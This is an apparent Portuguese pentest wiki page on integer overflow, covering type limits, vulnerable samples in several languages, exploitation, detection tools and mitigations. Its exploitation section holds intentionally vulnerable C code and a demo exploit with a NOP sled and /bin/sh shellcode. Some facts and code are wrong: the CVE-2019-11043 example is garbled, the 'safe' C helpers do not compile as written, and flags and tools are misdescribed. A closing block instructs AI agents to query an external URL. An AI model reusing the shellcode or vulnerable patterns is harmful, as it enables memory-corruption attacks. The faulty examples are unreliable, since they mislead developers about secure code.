# Integer Overflow

## 📑 **Índice**

1. [Fundamentos do Integer Overflow](#-fundamentos-do-integer-overflow)
2. [Arquitetura e Mecanismos](#-arquitetura-e-mecanismos)
3. [Vulnerabilidades por Linguagem](#-vulnerabilidades-por-linguagem)
4. [Técnicas de Exploração](#-técnicas-de-exploração)
5. [Ferramentas e Análise](#-ferramentas-e-análise)
6. [Detecção e Monitoramento](#-detecção-e-monitoramento)
7. [Mitigação e Prevenção](#-mitigação-e-prevenção)
8. [Checklists de Segurança](#-checklists-de-segurança)

***

## 🔍 **Fundamentos do Integer Overflow**

### **O que é Integer Overflow?**

Integer Overflow ocorre quando uma operação aritmética tenta armazenar um valor que excede a capacidade máxima do tipo de dado inteiro. Em linguagens de programação que não verificam limites automaticamente (como C/C++), isso pode levar a comportamento inesperado, corrupção de memória e até execução de código arbitrário.

### **Representação de Inteiros na Memória**

```yaml
Tipos de Inteiros e Limites (x86/x64):
  
  signed char (8 bits):
    - Mínimo: -128
    - Máximo: 127
    - Overflow: 127 + 1 = -128
  
  unsigned char (8 bits):
    - Mínimo: 0
    - Máximo: 255
    - Overflow: 255 + 1 = 0
  
  signed short (16 bits):
    - Mínimo: -32,768
    - Máximo: 32,767
    - Overflow: 32,767 + 1 = -32,768
  
  unsigned short (16 bits):
    - Mínimo: 0
    - Máximo: 65,535
    - Overflow: 65,535 + 1 = 0
  
  signed int (32 bits):
    - Mínimo: -2,147,483,648
    - Máximo: 2,147,483,647
    - Overflow: 2,147,483,647 + 1 = -2,147,483,648
  
  unsigned int (32 bits):
    - Mínimo: 0
    - Máximo: 4,294,967,295
    - Overflow: 4,294,967,295 + 1 = 0
```

### **Tipos de Integer Overflow**

```mermaid
graph TD
    A[Integer Overflow] --> B[Arithmetic Overflow]
    A --> C[Integer Underflow]
    A --> D[Wraparound]
    A --> E[Type Conversion]
    
    B --> B1[Adição além do limite]
    B --> B2[Multiplicação excessiva]
    
    C --> C1[Subtração abaixo do mínimo]
    
    D --> D1[Valor volta ao início]
    
    E --> E1[Conversão de signed/unsigned]
    E --> E2[Truncamento]
```

***

## 🏗️ **Arquitetura e Mecanismos**

### **Como o Overflow Ocorre**

```c
// Exemplo 1: Overflow em signed int
#include <stdio.h>
#include <limits.h>

int main() {
    int a = INT_MAX;  // 2,147,483,647
    int b = a + 1;    // Overflow!
    
    printf("a = %d\n", a);        // 2147483647
    printf("b = %d\n", b);        // -2147483648
    printf("b + 1 = %d\n", b + 1); // -2147483647
    
    return 0;
}
```

### **Binary Representation**

```python
#!/usr/bin/env python3
# binary_overflow_demo.py

import struct

def demonstrate_overflow():
    """Demonstrar overflow em binário"""
    
    # 8-bit unsigned max
    value = 255  # 0xFF
    print(f"255 em binário: {value:08b}")
    print(f"255 + 1 = {value + 1:08b} (overflow!)")
    print(f"Resultado: {(value + 1) & 0xFF}\n")
    
    # Signed integer (two's complement)
    signed_max = 127  # 0x7F
    print(f"127 em binário: {signed_max:08b}")
    print(f"127 + 1 = {(signed_max + 1) & 0xFF:08b}")
    print(f"Como signed: {struct.unpack('b', bytes([(signed_max + 1) & 0xFF]))[0]}\n")
    
    # 32-bit overflow
    value32 = 0xFFFFFFFF  # unsigned max
    print(f"0xFFFFFFFF + 1 = {hex((value32 + 1) & 0xFFFFFFFF)}")
    print(f"Resultado: {(value32 + 1) & 0xFFFFFFFF}\n")

demonstrate_overflow()
```

### **Consequências do Integer Overflow**

```c
// Exemplo: Buffer overflow via integer overflow
void vulnerable_function(int size) {
    char *buffer;
    int alloc_size;
    
    // Se size = 0x80000001, alloc_size = 0x00000000 (overflow!)
    alloc_size = size + 1;
    
    // Alocação de 0 bytes
    buffer = malloc(alloc_size);
    
    // Loop com base em size (grande), buffer pequeno
    for (int i = 0; i < size; i++) {
        buffer[i] = getchar();  // Buffer overflow!
    }
}
```

***

## ⚠️ **Vulnerabilidades por Linguagem**

### **1. C/C++ – A Mais Vulnerável**

```c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

// Vulnerabilidade 1: Verificação de tamanho inadequada
void copy_data(char *input, int len) {
    char buffer[256];
    
    // Se len = -1, condição é verdadeira (len < 256)
    if (len < 256) {
        // Overflow! len pode ser negativo
        memcpy(buffer, input, len);
    }
}

// Vulnerabilidade 2: Alocação com overflow
void process_array(int count) {
    int *array;
    
    // Se count = 0x80000000, count*4 = 0 (overflow)
    array = malloc(count * sizeof(int));
    
    for (int i = 0; i < count; i++) {
        array[i] = i;  // Overflow!
    }
}

// Vulnerabilidade 3: Signed/Unsigned mismatch
void process_data(unsigned int size) {
    char buffer[1024];
    
    // Se size é passado como -1, vira 0xFFFFFFFF
    // Condição falha, mas size é enorme
    if (size < 1024) {
        memcpy(buffer, input, size);  // Overflow!
    }
}
```

### **2. Java – Protegido, Mas com Riscos**

```java
public class IntegerOverflow {
    
    // Java não tem overflow em tipos primitivos? SIM!
    public static void main(String[] args) {
        int max = Integer.MAX_VALUE;  // 2,147,483,647
        int overflow = max + 1;        // -2,147,483,648 (silencioso!)
        
        System.out.println("Overflow: " + overflow);
        
        // Vulnerabilidade: Verificação de tamanho
        int size = 0x80000000;  // -2,147,483,648
        byte[] buffer = new byte[size];  // NegativeArraySizeException!
        
        // Mas em contextos específicos...
        int len = 0x7FFFFFFF;
        char[] data = new char[len];  // OutOfMemoryError
    }
    
    // Vulnerabilidade: Cálculo de índice
    public void processArray(int index) {
        int[] array = new int[10];
        // Se index = 0x80000000, index + 1 = -2,147,483,647
        // Acesso negativo!
        array[index + 1] = 42;
    }
}
```

### **3. Python – Overflow Gerenciado**

```python
#!/usr/bin/env python3
# python_overflow_behavior.py

import sys
import ctypes

# Python gerencia overflow automaticamente
print("Python integer behavior:")
a = 2**63 - 1
print(f"2^63 - 1 = {a}")
print(f"+ 1 = {a + 1} (sem overflow!)\n")

# Mas em C extensions ou ctypes...
print("Ctypes integer behavior:")
c_int = ctypes.c_int(2**31 - 1)
print(f"c_int max: {c_int.value}")
c_int.value += 1
print(f"+ 1 = {c_int.value} (overflow!)\n")

# Vulnerabilidade em bibliotecas C
import numpy as np

# NumPy pode ter overflow
arr = np.array([2**63 - 1], dtype=np.int64)
print(f"NumPy int64: {arr[0]}")
arr[0] += 1
print(f"+ 1 = {arr[0]} (overflow!)\n")
```

### **4. C# – Similar ao Java**

```csharp
using System;

class IntegerOverflow {
    static void Main() {
        // C# default: sem verificação
        int max = int.MaxValue;
        int overflow = max + 1;
        Console.WriteLine($"Overflow: {overflow}");  // -2147483648
        
        // Habilitar verificação (checked)
        try {
            checked {
                int will_throw = max + 1;
            }
        } catch (OverflowException) {
            Console.WriteLine("Overflow detectado!");
        }
        
        // unchecked (padrão)
        unchecked {
            int silent_overflow = max + 1;
            Console.WriteLine($"Silent: {silent_overflow}");
        }
    }
}
```

### **5. Rust – Seguro por Design**

```rust
fn main() {
    // Rust detecta overflow em debug, wraparound em release
    let max: u8 = 255;
    
    // Em debug: panic!
    // let overflow = max + 1;
    
    // Formas seguras
    match max.checked_add(1) {
        Some(result) => println!("Result: {}", result),
        None => println!("Overflow detected!")
    }
    
    // Saturating (limita no máximo)
    let saturated = max.saturating_add(1);
    println!("Saturated: {}", saturated);  // 255
    
    // Wrapping (comportamento explícito)
    let wrapped = max.wrapping_add(1);
    println!("Wrapped: {}", wrapped);  // 0
}
```

***

## ⚔️ **Técnicas de Exploração**

### **1. Buffer Overflow via Integer Overflow**

```c
// Exploit: Manipular tamanho para causar buffer overflow
#include <stdio.h>
#include <string.h>

void vulnerable_copy(char *user_data, int size) {
    char buffer[256];
    
    // Atacante controla 'size'
    // Se size = -1 (0xFFFFFFFF), condição passa
    if (size <= 256) {
        // memcpy interpreta size como unsigned
        // size = 0xFFFFFFFF = 4GB de cópia!
        memcpy(buffer, user_data, size);
    }
}

// Construção do exploit
int main() {
    // Payload para shell reverso
    char payload[4096];
    memset(payload, 0x90, 4096);  // NOP sled
    
    // Shellcode (exemplo)
    char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";
    memcpy(payload + 3000, shellcode, sizeof(shellcode));
    
    // Overflow com tamanho negativo
    vulnerable_copy(payload, -1);  // size = -1
    
    return 0;
}
```

### **2. Heap Overflow via Multiplication Overflow**

```c
#include <stdlib.h>
#include <string.h>

struct user_entry {
    int id;
    char name[64];
    char data[1024];
};

void process_entries(int count) {
    struct user_entry *entries;
    
    // Se count = 0x80000000, count * sizeof(struct) = 0
    // malloc retorna buffer pequeno
    entries = malloc(count * sizeof(struct user_entry));
    
    // Loop com count gigante (0x80000000)
    for (int i = 0; i < count; i++) {
        // Buffer overflow no heap!
        read(0, &entries[i], sizeof(struct user_entry));
    }
}
```

### **3. Array Index Overflow**

```c
int get_array_element(int *array, int index, int size) {
    // Atacante envia index = 0x7FFFFFFF
    if (index < size) {
        // index + 1 overflow para -2147483648
        // Acessa posição negativa!
        return array[index + 1];
    }
    return -1;
}
```

### **4. Alocação com Overflow (CVE-2019-11043)**

```php
// PHP-FPM vulnerability
// Atacante controla o valor de 'len'
$len = 0x80000001;
$buffer = str_repeat('A', $len);
// Internamente, o PHP calcula:
// alloc_size = len + 1 = 0x80000002 (overflow)
// malloc recebe 2 bytes, mas loop copia 0x80000001 bytes
```

### **5. Exploit com Python e Ctypes**

```python
#!/usr/bin/env python3
# integer_overflow_exploit.py

import ctypes
import struct

class IntegerOverflowExploit:
    """Demonstração de exploração de integer overflow"""
    
    def __init__(self, target_lib):
        self.lib = ctypes.CDLL(target_lib)
    
    def exploit_allocation(self):
        """Explorar overflow em alocação"""
        # Forçar multiplicação overflow
        # Se size = 0x40000001, size * 4 = 0x100000004 = 0x4 (overflow)
        size = 0x40000001
        
        try:
            # Tentar alocar com overflow
            buffer = (ctypes.c_char * (size * 4))()
            print(f"Alocado: {len(buffer)} bytes")
        except OverflowError:
            print("Overflow detectado!")
    
    def exploit_index(self):
        """Explorar overflow em índice de array"""
        arr = (ctypes.c_int * 10)()
        
        # Index negativo por overflow
        idx = 0x7FFFFFFF  # INT_MAX
        try:
            arr[idx + 1] = 42  # overflow para -2147483648
        except IndexError:
            print("Index overflow!")
    
    def exploit_memcpy(self):
        """Explorar overflow em memcpy"""
        # Simular memcpy com tamanho negativo
        src = b"A" * 1024
        dst = ctypes.create_string_buffer(256)
        
        # Tamanho negativo (0xFFFFFFFF)
        size = -1
        
        try:
            ctypes.memmove(dst, src, size)
            print("Memcpy overflow!")
        except Exception:
            print("Overflow detected")

# Uso
exploit = IntegerOverflowExploit("libc.so.6")
exploit.exploit_allocation()
exploit.exploit_index()
```

***

## 🛠️ **Ferramentas e Análise**

### **1. ASAN (AddressSanitizer)**

```bash
# Compilar com ASAN
gcc -fsanitize=address -g -o program program.c

# Executar
./program
# ASAN detecta integer overflow em tempo de execução
```

### **2. UBSan (UndefinedBehaviorSanitizer)**

```bash
# Compilar com UBSan
gcc -fsanitize=undefined -g -o program program.c

# Executar
./program
# UBSan detecta overflow em operações aritméticas
```

### **3. Valgrind**

```bash
# Detectar problemas de memória relacionados a overflow
valgrind --leak-check=full --show-leak-kinds=all ./program
```

### **4. Fuzzing com AFL**

```c
// target.c - Alvo para fuzzing
#include <stdio.h>
#include <stdlib.h>

void vulnerable_function(int size) {
    char *buffer = malloc(size);
    // ... código vulnerável
}

int main(int argc, char **argv) {
    if (argc > 1) {
        int size = atoi(argv[1]);
        vulnerable_function(size);
    }
    return 0;
}
```

```bash
# Fuzzing com AFL
afl-gcc -o target target.c
afl-fuzz -i inputs -o findings ./target @@
```

### **5. Scanner Estático (Cppcheck)**

```bash
# Detectar integer overflow em código C/C++
cppcheck --enable=all --inconclusive --suppress=missingIncludeSystem program.c

# Clang Static Analyzer
clang --analyze -Xanalyzer -analyzer-checker=core,unix,security program.c
```

### **6. Detector Personalizado**

```python
#!/usr/bin/env python3
# integer_overflow_detector.py

import re
import ast
import sys

class IntegerOverflowDetector:
    """Detector estático de integer overflow"""
    
    def __init__(self):
        self.suspicious_patterns = [
            (r'malloc\(([^)]+)\s*\*\s*sizeof', 'Multiplication in malloc'),
            (r'calloc\(([^,]+),\s*([^)]+)\)', 'calloc with large values'),
            (r'memcpy\([^,]+,\s*[^,]+,\s*([^;]+)\)', 'memcpy with variable size'),
            (r'for\s*\(\s*\w+\s*=\s*0;\s*\w+\s*<\s*(\w+);', 'Loop with variable bound'),
            (r'if\s*\(\s*\w+\s*<\s*(\w+)\s*\)', 'Size check before copy')
        ]
    
    def analyze_c_code(self, code):
        """Analisar código C/C++"""
        findings = []
        
        for pattern, desc in self.suspicious_patterns:
            matches = re.finditer(pattern, code)
            for match in matches:
                findings.append({
                    'pattern': desc,
                    'match': match.group(0),
                    'line': self.get_line_number(code, match.start())
                })
        
        return findings
    
    def analyze_python_code(self, code):
        """Analisar código Python para chamadas C"""
        findings = []
        
        # Buscar chamadas a ctypes
        if 'ctypes' in code:
            findings.append({
                'type': 'ctypes',
                'message': 'ctypes pode causar overflow em tipos C'
            })
        
        # Buscar numpy com dtype específico
        if 'dtype=np.int' in code or 'dtype=np.uint' in code:
            findings.append({
                'type': 'numpy',
                'message': 'NumPy arrays podem sofrer overflow'
            })
        
        return findings
    
    def get_line_number(self, text, position):
        """Obter número da linha"""
        return text[:position].count('\n') + 1

# Uso
detector = IntegerOverflowDetector()

with open('vulnerable.c', 'r') as f:
    c_code = f.read()
    findings = detector.analyze_c_code(c_code)
    
    for f in findings:
        print(f"[!] {f['pattern']} na linha {f['line']}")
        print(f"    {f['match']}")
```

***

## 🔍 **Detecção e Monitoramento**

### **Indicadores de Comprometimento (IOCs)**

```yaml
Indicadores de Integer Overflow Attacks:
  
  Logs de Sistema:
    - Segmentation faults (SIGSEGV)
    - Memory allocation failures
    - Buffer overflow detections
    - Stack smashing detected
  
  Debugging:
    - Valores inesperados (negativos quando deveriam ser positivos)
    - Tamanhos de alocação anormais
    - Índices fora dos limites
  
  Comportamentais:
    - Crash inesperado do programa
    - Alocação de memória excessiva
    - Comportamento errático
```

### **Ferramentas de Runtime**

```bash
# GDB para depurar overflow
gdb ./program
(gdb) run
(gdb) info registers
(gdb) x/100x $rsp

# LD_PRELOAD para detectar alocações
export LD_PRELOAD=libasan.so
./program

# strace para syscalls suspeitas
strace -e trace=mmap,brk,write ./program
```

***

## 🛡️ **Mitigação e Prevenção**

### **1. Verificação Explícita em C/C++**

```c
#include <limits.h>
#include <stdbool.h>

// Verificação segura de adição
bool safe_add(int a, int b, int *result) {
    if (b > 0 && a > INT_MAX - b) return false;  // Overflow positivo
    if (b < 0 && a < INT_MIN - b) return false;  // Overflow negativo
    *result = a + b;
    return true;
}

// Verificação segura de multiplicação
bool safe_mul(unsigned int a, unsigned int b, unsigned int *result) {
    if (a != 0 && b > UINT_MAX / a) return false;  // Overflow
    *result = a * b;
    return true;
}

// Verificação segura de alocação
void* safe_malloc(size_t count, size_t size) {
    size_t total;
    if (!safe_mul(count, size, &total)) return NULL;
    return malloc(total);
}

// Uso seguro
void process_data(size_t count) {
    char *buffer;
    
    // Verificar overflow
    if (!safe_mul(count, sizeof(char), &total)) {
        fprintf(stderr, "Integer overflow detected!\n");
        return;
    }
    
    buffer = malloc(total);
    if (!buffer) return;
    
    // Processamento seguro...
}
```

### **2. Uso de Tipos Seguros**

```c
#include <stdint.h>

// Usar tipos de tamanho fixo
uint32_t safe_operation(uint32_t a, uint32_t b) {
    // Usar tipos que não podem causar overflow inesperado
    if (a > UINT32_MAX - b) {
        // Tratar overflow
        return UINT32_MAX;
    }
    return a + b;
}

// Usar tipos com verificação em Rust
// let result = a.checked_add(b).unwrap_or(0);
```

### **3. Compilação com Proteções**

```bash
# GCC com verificações
gcc -ftrapv -fwrapv -fstack-protector-strong -D_FORTIFY_SOURCE=2 -O2 program.c

# Clang com sanitizers
clang -fsanitize=integer -fsanitize=undefined -g program.c

# Configurações de hardening
gcc -D_FORTIFY_SOURCE=2 -fstack-protector-strong -fpie -pie program.c
```

### **4. Código Seguro por Linguagem**

```c
// C - Bibliotecas seguras
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>

// Usar funções com verificação
size_t safe_strlen(const char *s, size_t max) {
    size_t len = 0;
    while (len < max && s[len]) len++;
    return len;
}

// Evitar memcpy sem verificação
void safe_copy(char *dest, const char *src, size_t n) {
    if (n > 0 && n <= 1024) {
        memcpy(dest, src, n);
    }
}
```

```rust
// Rust - Uso de tipos seguros
fn process_data(size: usize) -> Result<Vec<u8>, &'static str> {
    // checked_mul previne overflow
    let total = size.checked_mul(std::mem::size_of::<u8>())
        .ok_or("Integer overflow")?;
    
    // try_reserve previne alocação excessiva
    let mut vec = Vec::new();
    vec.try_reserve(total).map_err(|_| "Allocation failed")?;
    
    Ok(vec)
}
```

### **5. Build Pipeline com Verificação**

```yaml
# GitHub Actions - Verificação de overflow
name: Security Scan

on: [push]

jobs:
  security:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v2
      
      - name: Compile with sanitizers
        run: |
          gcc -fsanitize=integer -fsanitize=undefined -g -o program program.c
          
      - name: Run with fuzzing
        run: |
          ./program $(python3 -c "print('A'*0x80000000)")
          
      - name: Static analysis
        run: |
          cppcheck --enable=all --inconclusive program.c
          
      - name: Clang analysis
        run: |
          clang --analyze -Xanalyzer -analyzer-checker=security program.c
```

***

## 📋 **Checklists de Segurança**

### **Checklist de Prevenção**

* [ ] **Verificações de Limite**
  * [ ] Validar entradas antes de operações aritméticas
  * [ ] Verificar overflow em multiplicações antes de alocações
  * [ ] Usar tipos com tamanho fixo quando necessário
* [ ] **Alocações Seguras**
  * [ ] Verificar multiplicação em malloc/calloc
  * [ ] Usar funções com verificação de tamanho
  * [ ] Implementar limites máximos de alocação
* [ ] **Compilação Segura**
  * [ ] Habilitar sanitizers em desenvolvimento
  * [ ] Usar flags de hardening (-ftrapv, -fwrapv)
  * [ ] Compilar com stack protector
* [ ] **Testes**
  * [ ] Testar casos extremos (INT\_MAX, INT\_MIN)
  * [ ] Fuzzing com valores de boundary
  * [ ] Testes de estresse com alocações grandes

### **Checklist de Teste**

* [ ] **Reconhecimento**
  * [ ] Identificar operações aritméticas com entradas externas
  * [ ] Mapear alocações de memória
  * [ ] Analisar loops com índices variáveis
* [ ] **Exploração**
  * [ ] Testar valores INT\_MAX, INT\_MIN, 0x80000000
  * [ ] Testar overflow em multiplicações
  * [ ] Testar conversões signed/unsigned
* [ ] **Validação**
  * [ ] Verificar crashes e segmentation faults
  * [ ] Confirmar alocações inesperadas
  * [ ] Documentar vetores de ataque

***

## 📊 **Conclusão e Boas Práticas**

### **Resumo Técnico**

```yaml
Integer Overflow é uma vulnerabilidade crítica:
  ✅ Pode levar a buffer overflows e execução de código
  ✅ Presente em linguagens sem verificação automática
  ✅ Exploração pode ser complexa, mas devastadora

Defesas essenciais:
  ❌ Não confiar em tipos sem verificação
  ✓ Validar operações aritméticas
  ✓ Usar bibliotecas com verificação
  ✓ Habilitar sanitizers e hardening
  ✓ Testar casos extremos
```

### **Recomendações Finais**

1. **Para Desenvolvedores C/C++**
   * Sempre verificar overflow em operações com entradas externas
   * Usar funções de verificação como `__builtin_add_overflow`
   * Preferir tipos unsigned para tamanhos
   * Habilitar flags de warning (-Wconversion, -Wsign-conversion)
2. **Para Desenvolvedores Python/Java**
   * Atenção a chamadas de bibliotecas C
   * Usar tipos de tamanho fixo quando necessário
   * Validar valores antes de operações críticas
3. **Para Pentesters**
   * Testar valores extremos (INT\_MAX, INT\_MIN)
   * Explorar overflow em alocações
   * Combinar com buffer overflow
   * Documentar vetores de ataque


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/tecnicas/linguagens-de-programacao/low-level/integer-overflow.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
